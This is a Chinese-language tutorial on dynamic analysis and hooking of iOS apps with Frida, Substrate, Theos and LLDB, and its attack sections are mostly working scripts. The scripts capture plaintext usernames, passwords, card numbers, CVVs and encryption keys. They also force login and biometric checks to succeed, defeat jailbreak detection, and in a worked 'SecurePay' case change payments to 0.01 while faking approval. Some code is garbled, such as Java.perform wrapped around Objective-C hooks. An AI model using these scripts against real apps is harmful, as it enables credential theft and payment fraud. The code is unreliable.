作者:自学不成才
在前两篇文章中,我们深入探讨了Mach-O文件格式和静态分析方法。尽管静态分析能够提供应用结构的全景视图,但仍有许多问题无法仅通过静态分析解决,例如运行时行为、动态加载的代码和复杂的加密逻辑。这就是动态分析发挥作用的地方。本文将详细介绍iOS应用的动态分析技术和Hook方法,帮助您在应用运行时观察和修改其行为。
相比静态分析,动态分析具有以下优势:
动态分析也有其局限性:
最理想的动态分析环境是越狱的iOS设备:
设备选择:
越狱工具:
基本设置:
# 安装OpenSSH(越狱后必装)
apt-get update
apt-get install openssh
# 修改默认密码(默认为alpine)
passwd root
passwd mobile
如果无法获得越狱设备,可以考虑以下替代方案:
开发者模式:
模拟器:
特殊工具:
LLDB是Xcode内置的强大调试器,也可以单独使用:
# 通过USB连接到已启动的应用进程
lldb -p $(ps ax | grep "AppName" | grep -v grep | awk '{print $1}')
# 使用调试服务器(越狱设备)
debugserver *:1234 -a "AppName"
lldb
(lldb) platform select remote-ios
(lldb) process connect connect://device-ip:1234
常用LLDB命令:
breakpoint set --name "-[ClassName methodName:]"
:设置断点po [object description]
:打印对象描述memory read --size 4 --format x --count 10 0x12345678
:读取内存expression [expression]
:执行表达式thread backtrace
:显示调用栈cycript是一个允许开发者在运行的应用中注入JavaScript代码的工具:
# 安装(越狱设备)
apt-get install cycript
# 连接到进程
cycript -p ProcessName
常用cycript命令:
// 获取应用委托
var delegate = [UIApplication sharedApplication].delegate
// 查看视图层次
UIApp.keyWindow.recursiveDescription().toString()
// 查找所有的视图控制器
var controllers = []
var findControllers = function(view) {
if (view.nextResponder instanceof UIViewController) {
controllers.push(view.nextResponder);
}
for (var i = 0; i < view.subviews.count; i++) {
findControllers(view.subviews[i]);
}
}
findControllers(UIApp.keyWindow)
controllers
Frida是一款强大的动态插桩工具,支持多平台:
# 在电脑上安装Frida
pip install frida-tools
# 在越狱设备上安装Frida服务器
# 1. 下载对应版本的frida-server
# 2. 将其传输到设备并设置权限
scp frida-server-x.y.z-ios-arm64 root@device-ip:/usr/sbin/frida-server
ssh root@device-ip "chmod +x /usr/sbin/frida-server"
# 启动Frida服务器
ssh root@device-ip "/usr/sbin/frida-server &"
# 列出设备上的应用
frida-ps -Ua
# 附加到运行中的应用
frida -U AppName
基本Frida脚本示例:
// hook-example.js
Java.perform(function() {
// 拦截Objective-C方法
var LoginManager = ObjC.classes.LoginManager;
Interceptor.attach(LoginManager["- validateCredentials:password:"].implementation, {
onEnter: function(args) {
// 'this' 是目标对象
// args[0] 是 'self'
// args[1] 是 selector
// args[2]开始是实际参数
var username = ObjC.Object(args[2]).toString();
var password = ObjC.Object(args[3]).toString();
console.log("[+] validateCredentials:password: called");
console.log(" Username: " + username);
console.log(" Password: " + password);
// 保存参数供onLeave使用
this.username = username;
},
onLeave: function(retval) {
// retval是返回值
console.log("[+] validateCredentials:password: returned: " + retval);
// 修改返回值(强制返回true)
retval.replace(0x1);
console.log("[+] Return value replaced to true");
}
});
});
使用上述脚本:
frida -U -l hook-example.js AppName
Substrate是越狱环境下的底层Hook框架:
// 基本使用示例
#import <substrate.h>
// 定义原始方法指针
static BOOL (*original_validateCredentials)(id self, SEL _cmd, NSString *username, NSString *password);
// 定义替换方法
static BOOL replaced_validateCredentials(id self, SEL _cmd, NSString *username, NSString *password) {
NSLog(@"[HOOK] validateCredentials called with username: %@ and password: %@", username, password);
// 调用原始方法
BOOL result = original_validateCredentials(self, _cmd, username, password);
NSLog(@"[HOOK] Original method returned: %d", result);
// 修改返回值
return YES;
}
%ctor {
// 获取目标类和方法
Class targetClass = objc_getClass("LoginManager");
SEL targetSelector = @selector(validateCredentials:password:);
// 执行Hook
MSHookMessageEx(targetClass,
targetSelector,
(IMP)replaced_validateCredentials,
(IMP*)&original_validateCredentials);
}
编译并加载Substrate扩展:
# 编译为dylib
clang -dynamiclib -framework Foundation -framework UIKit -I/opt/theos/include -L/opt/theos/lib -lsubstrate -o hook.dylib hook.m
# 使用ldid签名(越狱环境)
ldid -S hook.dylib
# 注入到目标应用
DYLD_INSERT_LIBRARIES=/path/to/hook.dylib /Applications/AppName.app/AppName
Theos是一个跨平台的iOS开发工具链,Logos是其内置的简化Hook语法:
# 安装Theos
git clone --recursive https://github.com/theos/theos.git $THEOS
# 创建新Tweak
$THEOS/bin/nic.pl
# 选择"iphone/tweak"模板
使用Logos语法编写Hook代码:
// Tweak.x
%hook LoginManager
- (BOOL)validateCredentials:(NSString *)username password:(NSString *)password {
NSLog(@"[HOOK] validateCredentials called with username: %@ and password: %@", username, password);
// 调用原始方法
BOOL result = %orig;
NSLog(@"[HOOK] Original method returned: %d", result);
// 修改返回值
return YES;
}
%end
编译并安装Tweak:
make
make package
make install
Charles是一个HTTP代理服务器,用于监控网络请求:
设置步骤:
主要功能:
Wireshark是深度网络分析工具:
使用方法:
优势:
观察应用启动过程是理解应用架构的好方法:
// Frida脚本:监控应用委托方法
Interceptor.attach(ObjC.classes.UIApplication["- application:didFinishLaunchingWithOptions:"].implementation, {
onEnter: function(args) {
console.log("[+] Application is launching...");
},
onLeave: function(retval) {
console.log("[+] Application launched");
// 打印关键对象
var app = ObjC.classes.UIApplication.sharedApplication();
var delegate = app.delegate();
var windows = app.windows();
var rootVC = app.keyWindow().rootViewController();
console.log("[+] App Delegate: " + delegate.$className);
console.log("[+] Window count: " + windows.count());
console.log("[+] Root ViewController: " + rootVC.$className);
}
});
理解视图层次和控制器结构:
// Frida脚本:监控视图控制器生命周期
function monitorViewControllerLifecycle() {
var viewDidLoad = ObjC.classes.UIViewController["- viewDidLoad"];
var viewWillAppear = ObjC.classes.UIViewController["- viewWillAppear:"];
var viewDidAppear = ObjC.classes.UIViewController["- viewDidAppear:"];
Interceptor.attach(viewDidLoad.implementation, {
onEnter: function(args) {
var controller = ObjC.Object(args[0]);
console.log("[+] viewDidLoad: " + controller.$className);
}
});
Interceptor.attach(viewWillAppear.implementation, {
onEnter: function(args) {
var controller = ObjC.Object(args[0]);
console.log("[+] viewWillAppear: " + controller.$className);
}
});
Interceptor.attach(viewDidAppear.implementation, {
onEnter: function(args) {
var controller = ObjC.Object(args[0]);
console.log("[+] viewDidAppear: " + controller.$className);
// 打印视图层次
var view = controller.view();
console.log(view.recursiveDescription().toString());
}
});
}
monitorViewControllerLifecycle();
监控和修改网络请求是动态分析的关键部分:
// Frida脚本:监控NSURLSession请求
function monitorURLSession() {
var NSURLSession = ObjC.classes.NSURLSession;
var createTask = NSURLSession["- dataTaskWithRequest:completionHandler:"];
Interceptor.attach(createTask.implementation, {
onEnter: function(args) {
var request = ObjC.Object(args[2]);
var url = request.URL().absoluteString().toString();
var method = request.HTTPMethod().toString();
console.log("[+] NSURLSession Request: " + method + " " + url);
// 打印请求头
var headers = request.allHTTPHeaderFields();
var headerKeys = headers.allKeys();
for (var i = 0; i < headerKeys.count(); i++) {
var key = headerKeys.objectAtIndex_(i);
var value = headers.objectForKey_(key);
console.log(" " + key + ": " + value);
}
// 打印请求体
var body = request.HTTPBody();
if (body) {
console.log("[+] Body:");
console.log(ObjC.classes.NSString.alloc().initWithData_encoding_(body, 4).toString());
}
// 修改请求(示例:添加自定义头)
var mutableRequest = request.mutableCopy();
mutableRequest.setValue_forHTTPHeaderField_("CustomValue", "X-Custom-Header");
args[2] = mutableRequest;
}
});
// 监听响应
var NSURLResponse = ObjC.classes.NSURLResponse;
}
monitorURLSession();
分析和修改加密逻辑,是攻破应用安全措施的关键:
// Frida脚本:监控常见加密API
function monitorCryptoAPIs() {
// 监控CommonCrypto
var CommonCrypto = Module.findExportByName(null, "CCCrypt");
if (CommonCrypto) {
Interceptor.attach(CommonCrypto, {
onEnter: function(args) {
// CCCrypt参数解析
var op = args[0].toInt32(); // 0 = kCCEncrypt, 1 = kCCDecrypt
var alg = args[1].toInt32(); // 加密算法
var options = args[2].toInt32(); // 选项
// 保存上下文信息
this.op = op;
this.dataIn = args[4]; // 输入数据
this.dataInLength = args[5].toInt32(); // 输入长度
this.dataOut = args[6]; // 输出缓冲区
console.log("[+] CCCrypt called: " + (op === 0 ? "Encrypt" : "Decrypt"));
console.log(" Algorithm: " + alg);
console.log(" Input length: " + this.dataInLength);
// 打印密钥(通常是第4个参数)
var keyData = Memory.readByteArray(args[3], args[7].toInt32());
console.log(" Key: " + hexdump(keyData));
// 打印输入数据
if (this.dataInLength > 0) {
var inputData = Memory.readByteArray(this.dataIn, Math.min(this.dataInLength, 64));
console.log(" Input data: " + hexdump(inputData));
}
},
onLeave: function(retval) {
// 打印操作结果
console.log("[+] CCCrypt returned: " + retval);
// 打印加密/解密结果
if (this.op === 1) { // 如果是解密
var outputData = Memory.readByteArray(this.dataOut, Math.min(this.dataInLength, 64));
console.log(" Decrypted data: " + hexdump(outputData));
// 尝试作为字符串打印
try {
var str = Memory.readUtf8String(this.dataOut);
if (str && str.length > 0) {
console.log(" As string: " + str);
}
} catch (e) {
// 忽略非字符串数据
}
}
}
});
}
// 监控其他加密API...
}
monitorCryptoAPIs();
监控应用的数据持久化操作:
// Frida脚本:监控UserDefaults操作
function monitorUserDefaults() {
var NSUserDefaults = ObjC.classes.NSUserDefaults;
// 监控写入操作
var setObject = NSUserDefaults["- setObject:forKey:"];
Interceptor.attach(setObject.implementation, {
onEnter: function(args) {
var object = ObjC.Object(args[2]);
var key = ObjC.Object(args[3]).toString();
console.log("[+] NSUserDefaults setObject:forKey:");
console.log(" Key: " + key);
console.log(" Value: " + object.toString());
}
});
// 监控读取操作
var objectForKey = NSUserDefaults["- objectForKey:"];
Interceptor.attach(objectForKey.implementation, {
onEnter: function(args) {
var key = ObjC.Object(args[2]).toString();
this.key = key;
console.log("[+] NSUserDefaults objectForKey:");
console.log(" Key: " + key);
},
onLeave: function(retval) {
var object = ObjC.Object(retval);
console.log(" Value for key '" + this.key + "': " + object);
}
});
}
monitorUserDefaults();
破解认证流程是逆向工程中常见的任务:
// Frida脚本:模拟登录过程
function bypassAuthentication() {
// 假设我们已经找到了认证管理器类
var AuthManager = ObjC.classes.AuthManager;
// 创建伪造的用户对象
var createFakeUser = function() {
var User = ObjC.classes.User;
var user = User.alloc().init();
user.setValue_forKey_("admin", "username");
user.setValue_forKey_("YES", "isLoggedIn");
user.setValue_forKey_("YES", "isPremium");
return user;
};
// 替换当前用户
Interceptor.attach(AuthManager["- currentUser"].implementation, {
onLeave: function(retval) {
if (retval.isNull()) {
console.log("[+] Replacing null user with fake admin user");
retval.replace(createFakeUser());
}
}
});
// 始终让登录成功
Interceptor.attach(AuthManager["- loginWithUsername:password:completion:"].implementation, {
onEnter: function(args) {
var username = ObjC.Object(args[2]).toString();
var password = ObjC.Object(args[3]).toString();
var completion = args[4];
console.log("[+] Login attempt:");
console.log(" Username: " + username);
console.log(" Password: " + password);
// 拦截回调并强制成功
var origBlock = new ObjC.Block(completion);
var newBlock = function(success, error) {
console.log("[+] Forcing login success");
var fakeUser = createFakeUser();
origBlock(true, null, fakeUser);
};
// 替换回调
args[4] = newBlock;
}
});
}
bypassAuthentication();
从内存中提取敏感信息:
// Frida脚本:内存dump和分析
function dumpAppMemory() {
// 获取所有内存范围
Process.enumerateRanges('r--').forEach(function(range) {
// 查找可能的密码模式
var pattern = /password.*?=.*?["'](.*?)["']/i;
var data = Memory.readUtf8String(range.base, range.size);
var match = data.match(pattern);
if (match) {
console.log("[+] Potential password found at " + range.base);
console.log(" " + match[0]);
}
});
}
// 搜索特定内存区域
function searchMemoryForPattern(pattern) {
var ranges = Process.enumerateRanges('r--');
for (var i = 0; i < ranges.length; i++) {
var range = ranges[i];
Memory.scan(range.base, range.size, pattern, {
onMatch: function(address, size) {
console.log('[+] Pattern found at: ' + address.toString());
// 读取周围内存
var buf = Memory.readByteArray(address.sub(32), 64);
console.log(hexdump(buf, {offset: 0, length: 64, header: true, ansi: true}));
},
onError: function(reason) {
console.log('[!] Memory scan error: ' + reason);
},
onComplete: function() {
console.log('[+] Memory scan complete');
}
});
}
}
// 使用示例
// searchMemoryForPattern('12 34 56 78');
追踪完整的方法调用链:
// Frida脚本:方法跟踪
function traceClass(targetClass) {
var methods = ObjC.classes[targetClass].$ownMethods;
methods.forEach(function(method) {
var implementation = ObjC.classes[targetClass][method].implementation;
Interceptor.attach(implementation, {
onEnter: function(args) {
var methodName = method;
// 打印调用栈
console.log("↪ " + targetClass + " " + methodName);
console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join("\n"));
}
});
});
console.log("[+] Tracing " + methods.length + " methods in " + targetClass);
}
// 使用示例
// traceClass("AuthManager");
自动执行UI操作,测试不同路径:
// Frida脚本:自动化UI交互
function autoLogin() {
// 获取当前视图控制器
var getTopViewController = function() {
var app = ObjC.classes.UIApplication.sharedApplication();
var rootVC = app.keyWindow().rootViewController();
var topVC = rootVC;
while (topVC.presentedViewController()) {
topVC = topVC.presentedViewController();
}
return topVC;
};
// 查找登录按钮并点击
var findAndClickLoginButton = function() {
var topVC = getTopViewController();
console.log("[+] Top ViewController: " + topVC.$className);
// 假设我们知道按钮的标签
var view = topVC.view();
var subviews = view.subviews();
for (var i = 0; i < subviews.count(); i++) {
var subview = subviews.objectAtIndex_(i);
if (subview.$className === "UIButton") {
var title = subview.titleForState_(0); // UIControlStateNormal
if (title.toString().toLowerCase().includes("login")) {
console.log("[+] Found login button, clicking...");
subview.sendActionsForControlEvents_(1 << 6); // UIControlEventTouchUpInside
return true;
}
}
}
return false;
};
// 查找文本字段并输入
var findTextFieldAndTypeText = function(placeholder, text) {
var topVC = getTopViewController();
var view = topVC.view();
var subviews = view.subviews();
var findTextField = function(view, placeholder) {
if (view.$className === "UITextField") {
var field = view;
if (field.placeholder().toString().toLowerCase().includes(placeholder.toLowerCase())) {
return field;
}
}
var subviews = view.subviews();
for (var i = 0; i < subviews.count(); i++) {
var result = findTextField(subviews.objectAtIndex_(i), placeholder);
if (result) {
return result;
}
}
return null;
};
var textField = findTextField(view, placeholder);
if (textField) {
console.log("[+] Found text field with placeholder: " + placeholder);
textField.setText_(text);
return true;
}
return false;
};
// 执行自动登录
setTimeout(function() {
console.log("[+] Starting automated login...");
if (findTextFieldAndTypeText("username", "admin")) {
console.log("[+] Username entered");
}
if (findTextFieldAndTypeText("password", "password123")) {
console.log("[+] Password entered");
}
setTimeout(function() {
if (findAndClickLoginButton()) {
console.log("[+] Login button clicked");
}
}, 500);
}, 1000);
}
// 使用示例
// autoLogin();
许多应用实现了反调试措施,我们需要绕过它们:
// Frida脚本:绕过反调试检测
function bypassJailbreakDetection() {
// 常见的越狱检测文件路径
var jailbreakPaths = [
"/Applications/Cydia.app",
"/Library/MobileSubstrate/MobileSubstrate.dylib",
"/bin/bash",
"/usr/sbin/sshd",
"/etc/apt"
];
// Hook NSFileManager的文件存在检查
var NSFileManager = ObjC.classes.NSFileManager;
Interceptor.attach(NSFileManager["- fileExistsAtPath:"].implementation, {
onEnter: function(args) {
var path = ObjC.Object(args[2]).toString();
this.path = path;
// 检查是否是越狱检测路径
if (jailbreakPaths.indexOf(path) >= 0) {
console.log("[!] Jailbreak detection: " + path);
}
},
onLeave: function(retval) {
// 如果检测到越狱文件,返回false
if (jailbreakPaths.indexOf(this.path) >= 0) {
console.log("[+] Bypassing jailbreak detection");
retval.replace(0x0); // 返回false
}
}
});
// Hook fork检测
var fork = Module.findExportByName(null, "fork");
if (fork) {
Interceptor.attach(fork, {
onLeave: function(retval) {
console.log("[!] Fork detected, returning -1");
retval.replace(-1); // 模拟fork失败
}
});
}
// 更多反调试检测绕过...
}
// 使用示例
// bypassJailbreakDetection();
让我们通过一个完整的实战案例,演示如何对一个假设的支付应用进行动态分析。
首先,我们需要设置分析环境:
# 启动Frida服务器
ssh root@device-ip "/usr/sbin/frida-server &"
### 1. 准备环境(续)
```bash
# 列出设备上安装的应用
frida-ps -Ua
# 找到目标应用(假设为"SecurePay")
frida -U SecurePay
首先,我们编写一个Frida脚本来分析应用的基本结构:
// secure-pay-analysis.js
function analyzeAppStructure() {
// 1. 分析应用委托和主要类
var app = ObjC.classes.UIApplication.sharedApplication();
var delegate = app.delegate();
console.log("[+] App Delegate: " + delegate.$className);
console.log("[+] App Bundle ID: " + NSBundle.mainBundle().bundleIdentifier().toString());
// 2. 列出所有自定义类
console.log("\n[+] Custom Classes:");
var count = 0;
for (var className in ObjC.classes) {
if (className.indexOf("SecurePay") !== -1) {
console.log(" " + className);
count++;
}
}
console.log(" Total: " + count + " classes found");
// 3. 分析视图控制器
var allViewControllers = [];
for (var className in ObjC.classes) {
if (className.indexOf("ViewController") !== -1 &&
className.indexOf("SecurePay") !== -1) {
allViewControllers.push(className);
}
}
console.log("\n[+] Found " + allViewControllers.length + " view controllers:");
allViewControllers.forEach(function(vc) {
console.log(" " + vc);
});
}
analyzeAppStructure();
使用该脚本的输出,我们可以了解应用的基本结构和主要组件。
接下来,我们分析支付流程,追踪从用户输入到网络请求的整个过程:
// secure-pay-flow.js
function tracePaymentFlow() {
// 1. 监控支付按钮点击
var PaymentViewController = ObjC.classes.SecurePayPaymentViewController;
var paymentButtonMethod = PaymentViewController["- paymentButtonTapped:"];
Interceptor.attach(paymentButtonMethod.implementation, {
onEnter: function(args) {
console.log("\n[+] Payment button tapped");
// 打印当前视图控制器的状态
var self = ObjC.Object(args[0]);
var amountField = self.amountTextField();
var cardField = self.cardNumberTextField();
console.log(" Amount: " + amountField.text());
console.log(" Card Number: " + cardField.text());
}
});
// 2. 监控支付处理方法
var PaymentManager = ObjC.classes.SecurePayPaymentManager;
var processPaymentMethod = PaymentManager["- processPaymentWithCard:amount:completion:"];
Interceptor.attach(processPaymentMethod.implementation, {
onEnter: function(args) {
var cardInfo = ObjC.Object(args[2]);
var amount = ObjC.Object(args[3]).doubleValue();
console.log("\n[+] Processing payment:");
console.log(" Card: " + cardInfo.cardNumber());
console.log(" Expiry: " + cardInfo.expiryDate());
console.log(" CVV: " + cardInfo.securityCode());
console.log(" Amount: " + amount);
// 保存回调块以便稍后使用
this.completionBlock = args[4];
}
});
// 3. 监控加密方法
var CryptoService = ObjC.classes.SecurePayCryptoService;
var encryptMethod = CryptoService["- encryptCardData:withKey:"];
Interceptor.attach(encryptMethod.implementation, {
onEnter: function(args) {
var cardData = ObjC.Object(args[2]);
var encryptionKey = ObjC.Object(args[3]);
console.log("\n[+] Encrypting card data:");
console.log(" Card data: " + cardData.toString());
console.log(" Encryption key: " + encryptionKey.toString());
},
onLeave: function(retval) {
var encryptedData = ObjC.Object(retval);
console.log(" Encrypted result: " + encryptedData.toString());
}
});
// 4. 监控网络请求
var NetworkService = ObjC.classes.SecurePayNetworkService;
var sendRequestMethod = NetworkService["- sendPaymentRequest:completion:"];
Interceptor.attach(sendRequestMethod.implementation, {
onEnter: function(args) {
var request = ObjC.Object(args[2]);
console.log("\n[+] Sending payment request:");
console.log(" URL: " + request.URL().absoluteString());
console.log(" Method: " + request.HTTPMethod());
var headers = request.allHTTPHeaderFields();
var headerKeys = headers.allKeys();
console.log(" Headers:");
for (var i = 0; i < headerKeys.count(); i++) {
var key = headerKeys.objectAtIndex_(i);
var value = headers.objectForKey_(key);
console.log(" " + key + ": " + value);
}
var body = request.HTTPBody();
if (body) {
var bodyString = ObjC.classes.NSString.alloc().initWithData_encoding_(body, 4).toString();
console.log(" Body: " + bodyString);
}
}
});
console.log("[+] Payment flow tracing enabled. Perform a payment transaction...");
}
tracePaymentFlow();
分析完成后,我们可以修改应用行为,例如篡改支付金额:
// secure-pay-modify.js
function modifyPaymentProcess() {
// 修改支付金额
var PaymentManager = ObjC.classes.SecurePayPaymentManager;
var processPaymentMethod = PaymentManager["- processPaymentWithCard:amount:completion:"];
Interceptor.attach(processPaymentMethod.implementation, {
onEnter: function(args) {
var cardInfo = ObjC.Object(args[2]);
var originalAmount = ObjC.Object(args[3]).doubleValue();
console.log("\n[+] Original payment amount: " + originalAmount);
// 创建修改后的金额对象(例如,改为0.01)
var NSNumber = ObjC.classes.NSNumber;
var modifiedAmount = NSNumber.numberWithDouble_(0.01);
console.log("[+] Modified payment amount: 0.01");
// 替换参数
args[3] = modifiedAmount;
}
});
// 强制支付成功
var NetworkService = ObjC.classes.SecurePayNetworkService;
var handleResponseMethod = NetworkService["- handlePaymentResponse:error:forRequest:completion:"];
Interceptor.attach(handleResponseMethod.implementation, {
onEnter: function(args) {
var response = ObjC.Object(args[2]);
var error = ObjC.Object(args[3]);
var completion = args[5];
console.log("\n[+] Payment response received:");
if (!response.isNull()) {
console.log(" Response: " + response.toString());
}
if (!error.isNull()) {
console.log(" Error: " + error.toString());
// 创建成功响应
var successResponse = ObjC.classes.NSDictionary.dictionaryWithObjectsAndKeys_(
"approved", "status",
"12345", "transactionId",
"Transaction approved", "message",
null
);
// 替换参数,移除错误
args[2] = successResponse;
args[3] = ObjC.classes.NSNull.null();
console.log("[+] Forced successful payment response");
}
}
});
console.log("[+] Payment modification active. Any payment will cost only $0.01 and always succeed.");
}
modifyPaymentProcess();
如果应用使用TouchID/FaceID进行支付确认,我们可以绕过它:
// secure-pay-biometric-bypass.js
function bypassBiometricAuthentication() {
// 监控LocalAuthentication框架
var LAContext = ObjC.classes.LAContext;
var evaluatePolicy = LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
var reason = ObjC.Object(args[3]);
console.log("\n[+] Biometric authentication requested:");
console.log(" Reason: " + reason.toString());
// 保存原始回调
var originalBlock = new ObjC.Block(args[4]);
// 创建新回调,始终返回成功
var replacementBlock = function(success, error) {
console.log("[+] Bypassing biometric authentication, forcing success");
originalBlock(true, null);
};
// 替换回调参数
args[4] = replacementBlock;
}
});
console.log("[+] Biometric authentication bypass active");
}
bypassBiometricAuthentication();
通过上述分析,我们可能发现以下安全问题:
良好的组织和记录对动态分析至关重要:
创建分析计划:
详细记录:
标准化工作流:
静态和动态分析互为补充:
先静态后动态:
迭代分析:
结果交叉验证:
在进行应用分析时,务必注意法律和伦理界限:
遵守法律:
负责任披露:
教育目的:
动态分析和Hook技术是iOS逆向工程中强大的武器,它们允许我们在应用运行时观察、修改和控制其行为。通过本文介绍的工具和技术,您可以:
掌握这些技术需要时间和实践,但它们提供了静态分析无法企及的洞察力。通过综合运用静态和动态分析,您可以全面理解iOS应用的内部工作原理,发现安全漏洞,或者满足合法的功能修改需求。
在下一篇文章中,我们将深入探讨iOS应用保护技术和防护措施,包括代码混淆、反调试、完整性校验等,以及如何应对这些保护机制。
版权声明:
本文仅供学术研究和技术探讨使用。在实践中应用本文技术时,请遵守相关法律法规和道德准则。作者不对读者使用本文内容产生的任何后果负责。未经授权,请勿转载或用于商业用途。
作者:自学不成才
本文为iOS逆向工程专栏的第8篇文章,版权所有,未经许可请勿转载。